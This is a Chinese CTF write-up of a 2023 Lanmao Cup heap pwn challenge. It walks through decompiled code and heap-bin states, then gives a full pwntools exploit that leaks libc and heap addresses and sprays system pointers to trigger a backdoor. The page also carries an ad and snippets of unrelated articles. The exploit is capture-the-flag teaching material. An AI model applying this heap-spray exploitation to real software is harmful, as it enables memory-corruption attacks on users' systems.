从2023蓝帽杯0解题heapSpary入门堆喷

news2024/10/6 4:02:24

从2023蓝帽杯0解题heapSpary入门堆喷

关于堆喷

堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。

这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。

前言

此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。

题目分析

checksec

❯ checksec main
[*] '/root/P-W-N/bulue/main'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,很常规。

这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。

先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址

// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
  int v2; // esi
  int v3; // [esp-4h] [ebp-4h] BYREF
  char *retaddr; // [esp+0h] [ebp+0h] BYREF

  v2 = v3;
  v3 = a1;
  __libc_start_main(
    (int (__cdecl *)(int, char **, char **))sub_1D64,
    v2,
    &retaddr,
    (void (*)(void))sub_1D90,
    (void (*)(void))sub_1E00,
    a2,
    &v3);
  __halt();
}

这个main没什么好看的,快进到初始化和菜单

初始化如下

unsigned int sub_134D()
{
  unsigned int result; // eax
  unsigned int buf; // [esp+0h] [ebp-18h] BYREF
  int fd; // [esp+4h] [ebp-14h]
  int v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
    exit(0);
  close(fd);
  srand(buf);
  v3 = rand();
  malloc(4 * (v3 % 1638));
  result = __readgsdword(0x14u) ^ v4;
  if ( result )
    sub_1E10();
  return result;
}

初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

来看菜单,4是不存在的虚空功能

int sub_15E4()
{
  puts("========Welcome to new heap game========");
  puts("1. Create Heap.");
  puts("2. Show Heap.");
  puts("3. Delete Heap.");
  puts("4. Change Heap.");
  puts("5. Action.");
  puts("6. Exit.");
  return printf("Please give me your choose : ");
}

我们直接来先看看后门函数5

int sub_1C14()
{
  int result; // eax
  unsigned int v1; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+10h] [ebp-18h]

  printf("Please input heap index : ");
  v1 = sub_1461();
  if ( v1 > 0xFFF || !dword_4060[2 * v1] )
    return puts("Error happened.");
  v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
  if ( !**(_DWORD **)v2 )

    return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
  result = *(_DWORD *)v2;
  --**(_DWORD **)v2;
  return result;
}

关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。

来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];

这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如

0x565a1060:     0x57aebf90      0x00000100

得到的就是0x57aec090

然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下

 0x57aec090 —▸ 0x57aeb300 ◂— 0x0

0x57aeb300内存如下(0xf7d99781为system地址)

pwndbg> x/32wx 0x57aeb300
0x57aeb300:     0x00000000      0xf7d99781      0x00000000      0xf7d99781

分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数

_DWORD *sub_1690()
{
  _DWORD *result; // eax
  int i; // [esp+4h] [ebp-34h]
  int k; // [esp+8h] [ebp-30h]
  int j; // [esp+Ch] [ebp-2Ch]
  int m; // [esp+10h] [ebp-28h]
  int v5; // [esp+14h] [ebp-24h]
  int v6; // [esp+18h] [ebp-20h]
  int v7; // [esp+1Ch] [ebp-1Ch]

  for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
    ;
  if ( (int *)i == off_4010 )
    return (_DWORD *)puts("Ooops! Here is no space for you.");
  printf("How much space do you need : ");
  v5 = sub_1461();
  if ( v5 <= 0 || v5 > 0x20000 )
    return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
  for ( j = 0; j <= 15; ++j )
  {
    for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
      ;
    dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
    dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
    if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
    {
      puts("Ooops! Some error happened.");
      exit(-1);
    }
  }
  for ( m = 0; m <= 15; ++m )
  {
    puts("Please input your head data.");
    sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
    puts("Which flag do you want?");
    v6 = sub_1461();
    v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
    switch ( v6 )
    {
      case 1:
        *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
        break;
      case 2:
        *(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
        break;
      case 3:
        *(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
        break;
      case 4:
        *(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
        break;
    }
  }
  printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
  result = dword_4040;
  dword_4040[0] = i;
  return result;
}

我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。

int __cdecl sub_14BA(char *buf, int a2)
{
  while ( a2 )
  {
    if ( read(0, buf, 1u) != 1 )
      exit(-1);
    if ( *buf == 10 )
    {
      *buf = 0;
      break;
    }
    ++buf;
  }
  *buf = 0;
  return 0;
}

我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。

他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值

dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];

可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3…

如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作

 case 1:
        *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
        *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;

就会得到内容如下(此处字节码只做替代作用,非真实情况)

0x100:a
0x101:\x01
0x102:\x02
0x103:\x03
0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖)
0x105:libc or heap
0x106:libc or heap
0x107:libc or heap

要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符

0x100:a
0x101:\x00
0x102:libc or heap
..................

也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。

对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。

所以泄露操作的exp如下,直接破坏他们的链表

create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)

delete_heap()
delete_heap()
delete_heap()
delete_heap()

create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)

bin如下

pwndbg> bin
tcachebins
0x10 [  7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0
0x70 [  7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0
0xb0 [  7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0
fastbins
0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ...
unsortedbin
all [corrupted]
FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ...
BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ...
smallbins
empty
largebins
empty
pwndbg>

此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x579ae8e8
Size: 0x151
fd: 0xf7f48778
bk: 0x579ae338

但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作

# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None

for i in range(46):
    leak = leak_libc(i)
    if leak > 0x56000000:
        leak_all.append(leak)
        print(hex(leak))
        
        # Assigning values to heap_addr and libc_base
        if heap_addr is None and leak < 0xf7000000:
            heap_addr = leak+0x1000-0x56
        elif libc_base is None and leak > 0xf7000000:
            libc_base = leak-0x1eb756

这样就可以稳定的获得libc,和一个堆地址。

然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。

所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。

tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,)

# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")

exp

from pwn import *

# 连接到题目提供的服务端
p = process('./main')
context.log_level='debug'
libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
def create_heap(size, data,data2,flag):
    p.sendlineafter("Please give me your choose : ", "1")
    p.sendlineafter("How much space do you need : ", str(size))
    p.sendlineafter("Please input your head data.", data)
    p.sendlineafter("Which flag do you want?", str(flag))
    for _ in range(15):
        p.sendlineafter("Please input your head data.", data2)
        p.sendlineafter("Which flag do you want?", str(flag))

def delete_heap():
    p.sendlineafter("Please give me your choose : ", "3")

all_leak=[]
def leak_libc(idx):
    p.sendlineafter("Please give me your choose : ", "2")
    p.sendlineafter("Please input heap index : ", str(idx))
    p.recvuntil("Heap information is ")
    p.recv(4)
    leak = u32(p.recv(4).ljust(4,b'\x00'))
    return leak
gdb.attach(p,'b *$rebase(0x01C9E)')

#构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)

delete_heap()
delete_heap()
delete_heap()
delete_heap()

#申请小chunk 疯狂切割,直接一点点带出来
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)

# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None

for i in range(46):
    leak = leak_libc(i)
    if leak > 0x56000000:
        leak_all.append(leak)
        print(hex(leak))
        
        # Assigning values to heap_addr and libc_base
        if heap_addr is None and leak < 0xf7000000:
            heap_addr = leak+0x1000-0x56
        elif libc_base is None and leak > 0xf7000000:
            libc_base = leak-0x1eb756
delete_heap()
delete_heap()
delete_heap()
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
#堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")

p.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/952474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三路排序算法(Java 实例代码)

目录 三路排序算法 一、概念及其介绍 二、适用说明 四、Java 实例代码 QuickSort3Ways.java 文件代码&#xff1a; 三路排序算法 一、概念及其介绍 三路快速排序是双路快速排序的进一步改进版本&#xff0c;三路排序算法把排序的数据分为三部分&#xff0c;分别为小于 v&…

blender 火焰粒子

效果展示 创建火焰模型 新建立方体&#xff08;shift A &#xff09;,添加表面细分修改器&#xff08;ctrl 2 &#xff09;&#xff0c;视图层级调整为 3 &#xff0c;这样布线更密集&#xff1b; 右键将模型转换为网格&#xff0c;tab 进入编辑模式&#xff0c;7 切换到顶…

基于 Debian 12 的 Devuan GNU+Linux 5 为软件自由爱好者而生

导读Devuan 开发人员宣布发布 Devuan GNULinux 5.0 “代达罗斯 “发行版&#xff0c;它是 Debian GNU/Linux 操作系统的 100% 衍生版本&#xff0c;不包含 systemd 和相关组件。 Devuan GNULinux 5 基于最新的 Debian GNU/Linux 12 “书虫 “操作系统系列&#xff0c;采用长期支…

Kafka3.0.0版本——手动调整分区副本示例

目录 一、服务器信息二、启动zookeeper和kafka集群2.1、先启动zookeeper集群2.2、再启动kafka集群 三、手动调整分区副本3.1、手动调整分区副本的前提条件3.2、手动调整分区副本的示例需求3.3、手动调整分区副本的示例 一、服务器信息 四台服务器 原始服务器名称原始服务器ip节…

新型安卓恶意软件使用Protobuf协议窃取用户数据

近日有研究人员发现&#xff0c;MMRat新型安卓银行恶意软件利用protobuf 数据序列化这种罕见的通信方法入侵设备窃取数据。 趋势科技最早是在2023年6月底首次发现了MMRat&#xff0c;它主要针对东南亚用户&#xff0c;在VirusTotal等反病毒扫描服务中一直未被发现。 虽然研究…

Linux--VMware的安装和Centos

一、VMware和Linux的关系 二、VMware的安装 VM_ware桌面虚拟机 最新中文版 软件下载 (weizhen66.cn) VMware-Workstation-Lite-16.2.2-19200509-精简安装注册版.7z - 蓝奏云 如果安装不成功&#xff0c;则设置BIOS 三、在VMware中加入Centos 下载地址&#xff1a; CentOS-…

深度学习论文分享(八)Learning Event-Driven Video Deblurring and Interpolation

深度学习论文分享&#xff08;八&#xff09;Learning Event-Driven Video Deblurring and Interpolation 前言Abstract1 Introduction2 Motivation2.1 Physical Model of Event-based Video Reconstruction2.2 Spatially Variant Triggering Threshold 3 Proposed Methods3.1 …

初学者如何制作属于自己的第一个网页?

如今&#xff0c;网页设计已经成为互联网世界不可或缺的一部分。随着网络的发展&#xff0c;越来越多的用户通过网页浏览信息、社交和购物。一个出色的网页设计能吸引用户的眼球&#xff0c;提升他们的浏览体验&#xff0c;从而提高用户满意度和忠诚度。那么&#xff0c;要设计…

机器学习——手写数字识别

0、&#xff1a;前言 这篇文章能够帮助你从数据到模型的整个过程实现不过至于安装第三方库等基础问题&#xff0c;本文不涉及&#xff0c;因为确实不难&#xff0c;搜一搜一大把本此实验运行环境为jupyter&#xff0c;当然通过pycharm也是可行的 1、数据&#xff1a; 手写数字…

简单了解网络基本概念

目录 一、网络含义 二、什么是以太网&#xff1f; 三、网络分类 四、网络架构 五、数据传输方式 六、双工模式 一、网络含义 在实际生活中我们用传输介质把独立的终端设备相互连接起来就构成了网络。 二、什么是以太网&#xff1f; 以太网是一种网络通信协议标准&#…

浅谈 Pytest+HttpRunner 如何展开接口测试!

软件测试有多种多样的方法和技术&#xff0c;可以从不同角度对它们进行分类。其中&#xff0c;根据软件生命周期&#xff0c;针对不同的测试对象与目标&#xff0c;可将测试过程分为 4 个阶段&#xff1a;单元测试、集成测试、系统测试和验收测试。本文着重介绍了如何借用 pyte…

【两周学会FPGA】从0到1学习紫光同创FPGA开发|盘古PGL22G开发板学习之数码管静态显示(四)

本原创教程由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处 适用于板卡型号&#xff1a; 紫光同创PGL22G开发平台&#xff08;盘古22K&#xff09; 一&#xff1a;盘古22K开发板&#xff08;紫光同创PGL22G开发…

postgresql-集合运算

postgresql-集合运算 简介UNIONINTERSECTEXCEPT分组与排序集合操作优先级 简介 数据库中的表&#xff08;table&#xff09;本质上就是由行&#xff08;row&#xff09;组成的集合。因此&#xff0c;PostgreSQL 同样支持集 合论中的集合操作&#xff0c;包括并集&#xff08;U…

CSS中的相对单位和绝对单位,以及rem自适应布局

在CSS中&#xff0c;我们经常需要指定元素的尺寸、间距和位置。为此&#xff0c;我们可以使用各种单位来定义这些值。本文将重点介绍CSS中的相对单位和绝对单位&#xff0c;并解释它们之间的区别。 相对单位 百分比&#xff08;%&#xff09;&#xff1a;百分比单位是相对于父元…

Go 官方标准编译器中所做的优化

本文是对#102 Go 官方标准编译器中实现的优化集锦汇总[1] 内容的记录与总结. 优化1-4: 字符串和字节切片之间的转化 1.紧跟range关键字的 从字符串到字节切片的转换&#xff1b; package mainimport ( "fmt" "strings" "testing")var cs10086 s…

C#里Bitmap转Halocn的HObject

一般情况下&#xff0c;图像的width是4的倍数的话&#xff0c;用以下代码便可将彩色bitmap转出halcon里的HObject public void Bitmap2HObject(Bitmap bmp, out HObject image){try{Rectangle rect new Rectangle(0, 0, bmp.Width, bmp.Height);BitmapData srcBmpData bmp.L…

通讯录管理系统(个人学习笔记黑马学习)

1、系统需求 通讯录是一个可以记录亲人、好友信息的工具。 本教程主要利用C来实现一个通讯录管理系统系统中需要实现的功能如下: 添加联系人:向通讯录中添加新人&#xff0c;信息包括(姓名、性别、年龄、联系电话、家庭住址)最多记录1000人显示联系人:显示通讯录中所有联系人信…

Vue2项目练手——通用后台管理项目第二节

Vue2项目练手——通用后台管理项目 路由限制重复跳转CommonAside.vue 顶部header组件搭建与样式修改右边用户菜单栏使用的组件图片CommonHeader.vue Vuex实现左侧折叠文件目录store/index.jsstore/tab.jsmain.jsCommonHeader.vueCommonAside.vueMain.vue 路由限制重复跳转 路由…

elementUi中的el-table表格的内容根据后端返回的数据用不同的颜色展示

效果图如下&#xff1a; 首先 首先&#xff1a;需要在表格行加入 <template slot-scope"{ row }"> </template>标签 <el-table-column prop"usable" align"center" label"状态" width"180" ><templ…

MPC模型预测控制器学习笔记(附程序)

本文用于记录学习DR_CAN老师发布的MPC系列视频教程的相关内容&#xff0c;文章中放的源码也是DR_CAN老师提供的程序示例&#xff0c;链接如下&#xff1a; DR_CAN老师的视频教程链接&#xff08;点击可跳转&#xff09; DR_CAN老师提供的程序示例&#xff08;点击可跳转&#x…